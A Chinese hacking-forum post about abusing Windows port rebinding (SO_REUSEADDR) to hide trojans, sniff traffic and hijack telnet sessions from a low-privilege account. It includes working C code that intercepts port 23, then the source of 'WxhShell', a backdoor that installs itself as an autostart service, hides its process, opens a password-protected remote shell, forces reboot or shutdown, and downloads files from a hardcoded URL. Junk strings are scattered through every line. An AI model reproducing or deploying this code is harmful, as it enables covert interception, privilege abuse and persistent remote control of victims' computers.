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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >c1mwZS ;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F1,pAtA  
|H@M-  
  saddr.sin_family = AF_INET; Gu%`__   
GUcuD^Fe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IC{>q3  
[&zP$i&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); AX1\L |tJS  
.:lzT"QXI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lv\2vRYw-  
Z v~ A9bB  
  这意味着什么?意味着可以进行如下的攻击: )v|a:'%K_  
a.Mp1W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qrdA?V V  
Xz5=fj&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V*)6!N[5  
z.jGVF4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~ib#x~Db  
fO:*85 %}7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $OUa3!U_!  
U5"F1CaW~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ++kiCoC  
4$|G$h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Vl'=92t  
fNK~z*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !~mN"+u&  
o%|1D'f^  
  #include /g8yc'{p  
  #include pr m  
  #include _>aesp%  
  #include    yV]-![`D  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IBuuZ.=j2h  
  int main() Q2NS>[  
  { %r>vZ/>a  
  WORD wVersionRequested; G's/Q-'[\  
  DWORD ret; 2dq{n.cgs  
  WSADATA wsaData; QUe.vb^O  
  BOOL val; pH*L8tT  
  SOCKADDR_IN saddr; 1/{:}9Z@  
  SOCKADDR_IN scaddr; Ny~;"n  
  int err; -~aVt~{k/  
  SOCKET s; }5]NUxQ_  
  SOCKET sc;  t]vz+VQ  
  int caddsize; o?X\,}-s  
  HANDLE mt; F1+2V"~  
  DWORD tid;   .CYq+^  
  wVersionRequested = MAKEWORD( 2, 2 ); q&N&n%rbm  
  err = WSAStartup( wVersionRequested, &wsaData ); Jz-f1mhQV  
  if ( err != 0 ) { iA< EJ  
  printf("error!WSAStartup failed!\n"); 77 `/YE#M  
  return -1; <bid 6Q0|  
  } -p)HH@6a  
  saddr.sin_family = AF_INET; )V>FU=  
   \Js9U|lY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hrW.TwK  
gr7W&2x7\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y# lE  
  saddr.sin_port = htons(23); svQDSif  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !sLn;1l  
  { ~k J#IA  
  printf("error!socket failed!\n"); -kJF@w6u  
  return -1; xA-G&oC]<T  
  } s+CWyW@  
  val = TRUE; ,~3sba  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Im Tq`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L,l+1`Jz  
  { Fdzd!r1 v  
  printf("error!setsockopt failed!\n"); _I -0[w  
  return -1; G +YF  
  } [&39Yv.k,7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +FJ o!~1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F6 UOo.L)I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R<wb8iir  
"W1q}4_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0J_x*k6  
  { )8vcg{b{d  
  ret=GetLastError(); \q,w)BE  
  printf("error!bind failed!\n");  (0k0gq;  
  return -1; -x RsYYw  
  } crmnh4-  
  listen(s,2); !k[ zUti  
  while(1) 3Fr}8Dy  
  { NeWssSje  
  caddsize = sizeof(scaddr); 4RzG3CJdS  
  //接受连接请求 S-L6KA{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fZGKVxo"  
  if(sc!=INVALID_SOCKET) Ge @d"  
  { 'N}Wo}1r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D QZS%)  
  if(mt==NULL) Y>z(F\  
  { 9 np<r82  
  printf("Thread Creat Failed!\n"); =N3~2=g~A  
  break; QzS{2Y[OQ  
  } hqE#BnQxP,  
  } 6 HEl1FK{@  
  CloseHandle(mt);  %k2zsM  
  } WTd}) s  
  closesocket(s); - Zw"o>  
  WSACleanup(); A,iXiDb3pK  
  return 0; TS%cTh'ItH  
  }   =CJs&Qa2  
  DWORD WINAPI ClientThread(LPVOID lpParam) qVY\5`f@  
  { IAtZ-cM<  
  SOCKET ss = (SOCKET)lpParam; bM!`C|,[s  
  SOCKET sc; Kp99y  
  unsigned char buf[4096]; ?/u&U\P  
  SOCKADDR_IN saddr; Uligr_c?  
  long num; ROfmAc  
  DWORD val; E+>;tLw3j  
  DWORD ret; <Q8bn?Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 im?nR+t+X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;Joo!CXHO  
  saddr.sin_family = AF_INET; ES+&e/G"ds  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R0+m7mx#E  
  saddr.sin_port = htons(23); Vs"M Cqi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i?R qv<n  
  { -Wig k['v  
  printf("error!socket failed!\n"); @<AIPla  
  return -1; ?@u &3/&  
  } PK~okz4b  
  val = 100; d#W[<,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dxd}:L~z  
  { \jfW$TtZm  
  ret = GetLastError(); A/.cNen  
  return -1;  aCTVY1  
  } ~q9RZ#g13J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2<'gX>TW  
  { q8p 'bibY  
  ret = GetLastError(); nQgn^z#  
  return -1; n[clYi@e  
  } g5?Fo%W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D?E5p.!A  
  { Z,2uN!6  
  printf("error!socket connect failed!\n"); n2QD*3i  
  closesocket(sc); +I')>6  
  closesocket(ss); II2oV}7?  
  return -1; VOiphw`  
  } bv] ZUF0  
  while(1) .=NK^  
  { N0XGW_f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U-Iwda8v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =*'` \}];"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1-,l|K  
  num = recv(ss,buf,4096,0); fGxa~Unx  
  if(num>0) Y8N&[L[z&  
  send(sc,buf,num,0); F |GWYw'%  
  else if(num==0) ]l\J"*"aB  
  break; w?R6$n`  
  num = recv(sc,buf,4096,0); bySw#h_  
  if(num>0) 5n"'M&Ce  
  send(ss,buf,num,0); oi!E v_h  
  else if(num==0) h?SUDk:2^  
  break; yb]a p  
  } \t(/I=E8/  
  closesocket(ss); > vahj,CZZ  
  closesocket(sc); ClEtw   
  return 0 ; r9QNE>UG  
  } 5-sxTp  
cBAA32wf  
rzex"}/ly  
========================================================== Xh{EItk~oO  
ZA# jw 8F  
下边附上一个代码,,WXhSHELL >Qi2;t~G  
} o=g)  
========================================================== d) > if<o  
YlYTH_L>E  
#include "stdafx.h" dtnAMa5$T  
P3:hGmk8|j  
#include <stdio.h> a([cuh.  
#include <string.h> F Pu,sz8  
#include <windows.h> {>~|xW  
#include <winsock2.h> ul:jn]S*  
#include <winsvc.h> '91Ak,cWB  
#include <urlmon.h> e06r5%|.%  
uYs+x X_  
#pragma comment (lib, "Ws2_32.lib") f6z[k_lLN  
#pragma comment (lib, "urlmon.lib") 8J@REP4  
.-o$ IQsS  
#define MAX_USER   100 // 最大客户端连接数 Va{`es)hky  
#define BUF_SOCK   200 // sock buffer tewC *%3V  
#define KEY_BUFF   255 // 输入 buffer 6.k2,C4dT<  
/|>z7#?m^  
#define REBOOT     0   // 重启 PsTwJLY   
#define SHUTDOWN   1   // 关机 x&kF;UC  
^c/.D*J[I  
#define DEF_PORT   5000 // 监听端口 Y(-+>>j_  
;8ugI  
#define REG_LEN     16   // 注册表键长度 |{Oe&j3|  
#define SVC_LEN     80   // NT服务名长度 R@ihN?k  
= i `o+H  
// 从dll定义API tQ*5[F,fm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;]'mx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p-;*K(#X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o8Tt|Lxb$8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _TkiI.'  
2o6%P}C  
// wxhshell配置信息 @C?RbTHy  
struct WSCFG { %kyvt t  
  int ws_port;         // 监听端口 7=}`"7i~  
  char ws_passstr[REG_LEN]; // 口令 pWeKN`  
  int ws_autoins;       // 安装标记, 1=yes 0=no sN;xHTY  
  char ws_regname[REG_LEN]; // 注册表键名 -cOLg rmp  
  char ws_svcname[REG_LEN]; // 服务名 Sl{]Z,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rZ *}jD[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z?dz@d%C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (rvK@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s:6H^DQ"C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `n$pR8TZ_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名   Lxs  
^Qq_|{vynf  
};  \&"gCv#  
|&3[YZY  
// default Wxhshell configuration *i&ks> 4N  
struct WSCFG wscfg={DEF_PORT, YG$Y4h" @"  
    "xuhuanlingzhe", e'p'{]r<w  
    1, ]~GwZB'M  
    "Wxhshell", 3+0 $=ef  
    "Wxhshell", r 1nl!  
            "WxhShell Service", +CaPF  
    "Wrsky Windows CmdShell Service",  GMrjZ  
    "Please Input Your Password: ", 1@egAo)  
  1, X6kCYTJYF  
  "http://www.wrsky.com/wxhshell.exe", I& DEF*  
  "Wxhshell.exe" JN,4#,  
    }; r ".*l?=  
~ep-XO  
// 消息定义模块 TY"8.vd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iP)`yB5`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VG_ PBG(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iz.J._&  
char *msg_ws_ext="\n\rExit."; (_ HwU/  
char *msg_ws_end="\n\rQuit."; 3MH9%*w'0  
char *msg_ws_boot="\n\rReboot..."; yb\T< *  
char *msg_ws_poff="\n\rShutdown..."; $SQ UN*/>  
char *msg_ws_down="\n\rSave to "; #rD0`[pz  
H,u{zU')  
char *msg_ws_err="\n\rErr!"; >g+yw1nC  
char *msg_ws_ok="\n\rOK!"; 8iA[w-Pv  
4YX/=  
char ExeFile[MAX_PATH]; i&=I5$  
int nUser = 0; piULIZ0  
HANDLE handles[MAX_USER]; H65><38X/  
int OsIsNt; % Ya%R@b}  
M#Kke9%2  
SERVICE_STATUS       serviceStatus; K2|2Ks_CS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <N KmLAfX  
`1 A,sXfa  
// 函数声明 fqpbsM;M]  
int Install(void); 4&N#d;ErC  
int Uninstall(void); ![1+=F !  
int DownloadFile(char *sURL, SOCKET wsh); Mu: y9o95  
int Boot(int flag); Cw$0XyO  
void HideProc(void); IyK^` y  
int GetOsVer(void); E.LD1Pm0  
int Wxhshell(SOCKET wsl); Rxb?SBa  
void TalkWithClient(void *cs); AS5' j  
int CmdShell(SOCKET sock); B! +rO~  
int StartFromService(void); OEi u,Y|@l  
int StartWxhshell(LPSTR lpCmdLine); X(Z~oGyg  
yzyBr1s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jt ++3]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qtrN=c3x  
# RoJD:9  
// 数据结构和表定义 `)~]3zmG  
SERVICE_TABLE_ENTRY DispatchTable[] = r+:]lO  
{ T3wQRn  
{wscfg.ws_svcname, NTServiceMain}, $|"Y|3&X  
{NULL, NULL} aC90IJ8^  
}; _ ck)yY?7  
(1IYOlG4  
// 自我安装 ,ArHS  
int Install(void) k I?+\k\V`  
{ )fy-]Ky *  
  char svExeFile[MAX_PATH]; ~ECIL7,  
  HKEY key; kz_gR;"(Z  
  strcpy(svExeFile,ExeFile); z`}z7e'>  
^ YOC HXg  
// 如果是win9x系统,修改注册表设为自启动 b1TIVK3m  
if(!OsIsNt) { 22OfbwCb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jFDVd;#CS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _jb' HP  
  RegCloseKey(key); aP$it 6Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dy>5LzqK3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d88Dyzz  
  RegCloseKey(key); /S{U|GBB%r  
  return 0; XL3m#zW&  
    } $PstEL  
  } ^GpLl   
} 9])Id;+91  
else { hpc&s  
C547})  
// 如果是NT以上系统,安装为系统服务 3D-0 N0o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GaCRo7  
if (schSCManager!=0) ^Gi7th,  
{ =Vm3f^  
  SC_HANDLE schService = CreateService 7qSnP 30}  
  ( h#p[6}D  
  schSCManager, }a !ny  
  wscfg.ws_svcname, 0q4P hxR`e  
  wscfg.ws_svcdisp, tQ *?L  
  SERVICE_ALL_ACCESS, &MZ{B/;;H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )K8 ^}L,  
  SERVICE_AUTO_START, [_eT{v2B4  
  SERVICE_ERROR_NORMAL, CNe(]HIOH  
  svExeFile, s3Wjhw/  
  NULL, 6B|OKwL  
  NULL, ~:L5Ar<  
  NULL, TMGYNb%<bX  
  NULL, !1ZItJ74#  
  NULL H&8~"h6n  
  ); &pf"35ll  
  if (schService!=0) Sp6==(:.  
  { 2Wg:eh  
  CloseServiceHandle(schService); cTW$;Fpc+  
  CloseServiceHandle(schSCManager);  ,)uW`7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a@Vk(3Rx_  
  strcat(svExeFile,wscfg.ws_svcname); qnHjwMi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'qUM38s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^W(ue]j}o  
  RegCloseKey(key); a"i(.(9$J  
  return 0; \K9.]PfbI  
    } S}fQis  
  }  ?H!jKX  
  CloseServiceHandle(schSCManager); :_<&LO]Q  
} <"K2t Tg.  
} rb}fP #j  
M@l|n  
return 1; 7Vk9{x$z  
} h oO847  
2}7_Y6RS*  
// 自我卸载 P l!E$   
int Uninstall(void) amq,^  
{ .Tm.M7  
  HKEY key; fN@ZJ~F%j  
3-E-\5I  
if(!OsIsNt) { & kVa*O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IhBQ1,&J  
  RegDeleteValue(key,wscfg.ws_regname); >Tjl?CS  
  RegCloseKey(key); C:t?HLY)fG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Jf</uP_  
  RegDeleteValue(key,wscfg.ws_regname); R|^bZf^  
  RegCloseKey(key); R>Dr1fc}  
  return 0; $9j>oUG  
  } `\|@w@f|;  
} =f H5 r_n  
} q6*i/"mN*  
else { R!%HQA1U  
YD@Z}NE v"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WVsj  
if (schSCManager!=0) <7>1Z 82)  
{ WO{7/h</  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :/%Y"0  
  if (schService!=0)  0Gc:+c7{  
  { ES!e/l  
  if(DeleteService(schService)!=0) { */JYP +  
  CloseServiceHandle(schService); r~JGs?GH  
  CloseServiceHandle(schSCManager); n_rpT .[  
  return 0; Cg?Mk6i  
  } Aqmw#X  
  CloseServiceHandle(schService);  Qe7=6<  
  } 7.Z-  
  CloseServiceHandle(schSCManager); b{,v?7^4  
} jjQDw=6  
}  *U6+b  
D vvi)/<  
return 1; Z*f%R\u  
} LLT6*up$  
[&4+ <Nl'  
// 从指定url下载文件 |c8\alw  
int DownloadFile(char *sURL, SOCKET wsh) /;w(sU  
{ L C##em=Y  
  HRESULT hr; 2HSFMgy  
char seps[]= "/"; 8m=R" %h  
char *token; &zB>  
char *file; -BI!ZsC'  
char myURL[MAX_PATH]; ]\ !ka/%  
char myFILE[MAX_PATH]; ybsw{[X>M  
=H8FV09x}  
strcpy(myURL,sURL); j0X^,ot@m  
  token=strtok(myURL,seps); !W8=\:D[  
  while(token!=NULL) ~]RfOpq^w  
  { wu eDedz\  
    file=token; sbX7VfAR`  
  token=strtok(NULL,seps); ,SNrcwv  
  } n"aF#HR?0d  
kppi>!6  
GetCurrentDirectory(MAX_PATH,myFILE); Vt3*~Beb  
strcat(myFILE, "\\"); Jnd_cJ]a  
strcat(myFILE, file); $#+D:W)az  
  send(wsh,myFILE,strlen(myFILE),0); G/FDD{y  
send(wsh,"...",3,0); $:oC\K6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L7aVj&xM  
  if(hr==S_OK) ~GX ]K H  
return 0; 6{^\7`  
else j;E$7QH[  
return 1; a%U#PF6   
(0#$%US\  
} jQ'g'c!  
T30fp  
// 系统电源模块 "= %"@"<)  
int Boot(int flag) %X.g+uu  
{ #BcUE?K*N  
  HANDLE hToken; B0gD4MX/  
  TOKEN_PRIVILEGES tkp; 2[3t7C  
,{S $&g*  
  if(OsIsNt) { et~D9='E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '" %0UflJS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); csLbzDg  
    tkp.PrivilegeCount = 1; wG7>2*(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z}0xK6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o!~XYEXvUa  
if(flag==REBOOT) { y;fF|t<y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) elhP!"G  
  return 0; h9im S\gfr  
} t7u*j-YE  
else { W/,:-R&'>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #yR&|*@  
  return 0; C{^I}p  
} s#aj5_G  
  } )V>OND  
  else { HH7WMYoKY  
if(flag==REBOOT) { :vEfJSA 1<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i}C%8} %  
  return 0; +FadOx7X$  
} +:ms`Sr>  
else { }PBL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n!~ $Z/  
  return 0; f1'X<VA  
} c-(dm:  
} tw<Oy^ i  
Dzu//_u  
return 1; @|t]9  
} Z:AB (c  
\}.bTca  
// win9x进程隐藏模块 +2eri_p  
void HideProc(void) S& IW]ffK  
{ .5s58H cg,  
,9I-3**W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .xT{Rz  
  if ( hKernel != NULL ) d oEuKT  
  { LprGsqr:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %B#T"=Cx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `kvIw,c.  
    FreeLibrary(hKernel); HbB8A#u  
  } iZ}c[hC'3`  
H?Sv6W.~  
return; FCwE/ 2,  
} ']\SX*z?  
S},Cz  
// 获取操作系统版本 )i:*r8*~  
int GetOsVer(void) (X\]!'A  
{ dwUDhQt3Q  
  OSVERSIONINFO winfo; &0bq3JGW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vrlqje_Q  
  GetVersionEx(&winfo); OS<GAA0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 73'AQ")UJ  
  return 1; wY%t# [T3  
  else m6K7D([f  
  return 0; pRE^; 4}z  
} zd$?2y8  
xgkCN$zQ`  
// 客户端句柄模块 ,66(*\xT  
int Wxhshell(SOCKET wsl) jwLZC  
{ oO3 ^9?Z  
  SOCKET wsh; Y7q Q` |  
  struct sockaddr_in client; {4/*2IRN9h  
  DWORD myID; DQ/rx`BG  
\P":V  
  while(nUser<MAX_USER) v9 /37AU  
{ @oH\r-jsgu  
  int nSize=sizeof(client); 3!sZA?q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7\yh(+kN  
  if(wsh==INVALID_SOCKET) return 1; 80g}<Lwc  
F{Yr8(UHA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n<FUaR>q}  
if(handles[nUser]==0) G;wh).jG5  
  closesocket(wsh); :a2[d1  
else (7! pc  
  nUser++; XHKLl?-  
  } >)*d/^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {%k[Z9*tO  
q)C Xu  
  return 0; [X]hb7-&  
} e2V;6N  
9mXmghoCO  
// 关闭 socket 8tjWVo  
void CloseIt(SOCKET wsh) >f^kp8`3{Y  
{ }#E]efjs  
closesocket(wsh); xfX|AC  
nUser--; 3"my!}03  
ExitThread(0); FxK!h.C.  
} 0i8\Lu6  
_PC<Td>nm  
// 客户端请求句柄 |=VWE>g  
void TalkWithClient(void *cs) `S? _=JIX  
{ :iE`=( o  
wKfq'W{  
  SOCKET wsh=(SOCKET)cs; I(&N2L$-  
  char pwd[SVC_LEN]; #fx"tx6  
  char cmd[KEY_BUFF]; `<T4 En  
char chr[1]; =I&BO[d  
int i,j; ';.y`{/  
zZ51jA9x  
  while (nUser < MAX_USER) { iDgc$'%?  
"9Q_lVI|Q  
if(wscfg.ws_passstr) { s{X+0_@Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f0%'4t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V^n=@CZT9C  
  //ZeroMemory(pwd,KEY_BUFF); YB)I%5d;{  
      i=0; wM;=^br  
  while(i<SVC_LEN) { As^eL/m2L  
cR55,DR,#W  
  // 设置超时 oL>o*/  
  fd_set FdRead; ?/@XJcm+  
  struct timeval TimeOut; t(.vX  
  FD_ZERO(&FdRead); \oGU6h<  
  FD_SET(wsh,&FdRead); apM)$  
  TimeOut.tv_sec=8; *YQXxIIq  
  TimeOut.tv_usec=0; 3FO-9H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sc}Rs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u~'_Uqp  
S @!z'$&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^K~=2^sh  
  pwd=chr[0]; v-!Spf  
  if(chr[0]==0xd || chr[0]==0xa) { |vG?H#y  
  pwd=0; .p'McCV=  
  break; :y{@=E=XSC  
  } &g*1If  
  i++; ?f:0GE7  
    } M#8_Qbvfk  
=&.9z 4A  
  // 如果是非法用户,关闭 socket $|!3ks  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SD:Bw0gzrI  
} q!5`9u6  
Ib/e\+H\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X6r<#n|l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :8+x&zn  
G/(tgQ  
while(1) { ~@}n}aV'!  
fP( n3Q  
  ZeroMemory(cmd,KEY_BUFF); =6fJUy^M\  
{irl}EeyC  
      // 自动支持客户端 telnet标准   +j8-l-o  
  j=0; c,G[Rk  
  while(j<KEY_BUFF) { Yfz`or\@=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x;STt3M~  
  cmd[j]=chr[0]; 5GJa+St?  
  if(chr[0]==0xa || chr[0]==0xd) { '8@4FXK  
  cmd[j]=0; l?^}n(_.  
  break; @zt"Y~9i  
  } wo86C[  
  j++; HMKogGTTo  
    } zrC1/%T  
[raj: 7yQ  
  // 下载文件  [cfXcl  
  if(strstr(cmd,"http://")) { 7 3ABop  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =C^4nP-  
  if(DownloadFile(cmd,wsh))  N=!k2+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2jP(D%n  
  else rPifiLl A>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZJjm r,1  
  } Qg o| \=  
  else { ExOSHKU,e  
Vg"vC  
    switch(cmd[0]) { ]==S?_.B3n  
  Y)AHM0;g  
  // 帮助 ?,eq86-M  
  case '?': { 0v3 8LBH)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @Ps1.  
    break; ^|cax| >  
  } Gs*X> D  
  // 安装 e~6>8YO+7j  
  case 'i': { 5J6~]J  
    if(Install()) o4B%TW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +OO my  
    else AASS'H@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YJZ`Clp?  
    break; CG!9{&F  
    } _U~~[I  
  // 卸载 !qs3fe<uh"  
  case 'r': { lygv#s-T  
    if(Uninstall()) [XNDYaF8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); };>~P%u32  
    else Z4T{CwD`D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MeO2 cy!5q  
    break; )=#zMdK&  
    } N8{ 8 a  
  // 显示 wxhshell 所在路径 h,i=Y+1  
  case 'p': { 7<93n`byM  
    char svExeFile[MAX_PATH]; !<0 `c  
    strcpy(svExeFile,"\n\r"); nS^,Sq\Ak  
      strcat(svExeFile,ExeFile); sN/8OLc  
        send(wsh,svExeFile,strlen(svExeFile),0); N >];xb>  
    break; {jEEAH)  
    } _6\"U5*Y  
  // 重启 "Q1oSpF  
  case 'b': { [T2!,D.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iGIry^D  
    if(Boot(REBOOT)) -EWC3,3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hsZ@)[/:  
    else { ]P4?jKI  
    closesocket(wsh); D.x&N~-  
    ExitThread(0); 4{ED~w|  
    } ] N7(<EV/  
    break; }^*m0`H  
    } -^$IjK-N  
  // 关机 h&EF)~G  
  case 'd': { o? wEX%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xbZR/!?  
